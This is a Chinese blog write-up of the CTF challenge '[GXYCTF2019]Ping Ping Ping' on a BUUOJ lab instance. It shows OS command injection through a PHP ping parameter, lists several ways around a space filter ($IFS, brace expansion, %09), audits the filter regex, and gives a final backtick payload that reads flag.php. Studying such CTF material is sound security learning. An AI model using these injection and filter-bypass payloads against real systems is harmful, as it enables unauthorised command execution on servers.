首页 > 其他 > 详细

[GXYCTF2019]Ping Ping Ping 1

时间:2021-03-06 23:49:09      阅读:43      评论:0      收藏:0      [点我收藏+]

进入界面
技术分享图片

 

根据提示进行ping信号

技术分享图片

 

看到网页的内容就想到经典的Linux命令执行,使用命令执行的管道符 "  |  "尝试列出文件

技术分享图片

FLAG应该在Flag.php里面

构造playload进行提取

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat flag.php

技术分享图片

 

提示:“/?ip= fxck your space!”,space暗示我们存在空格过滤,尝试构造语句来绕过空格

$IFS
${IFS}
$IFS$1 // $1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  // 用逗号实现了空格功能
%20 
%09 

 

出现新的提示“/?ip= 1fxck your symbol!”

技术分享图片

 

说明仍然存在“flag”过滤,联想之前做的BUU题目,提示应该藏在另外一个php文件(index.php)里面,于是利用上面的绕过空格来构造Playload进行查看index.php

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat${IFS}index.php

 

技术分享图片

 

经行php代码审计

/?ip=
|\|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\‘|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //preg_math函数过滤掉的字符
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){      //同上
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){   //同上
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);   
  echo "

";
  print_r($a);
}

?>

 

内联输出:使用反引号  ``代替 |,经反引号的输出命令转换为输出

构造playload

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3;cat$IFS$9%60ls%60

技术分享图片

 

得到flag

flag = "flag{1fe19100-c980-45f2-9625-262cbd69f6fa}"

 

考点

PHP preg_match() 函数过滤

内联执行:使用反引号  ``代替 |,经反引号的输出命令转换为输出

管道符

 

[GXYCTF2019]Ping Ping Ping 1

原文:https://www.cnblogs.com/forchan/p/14490728.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!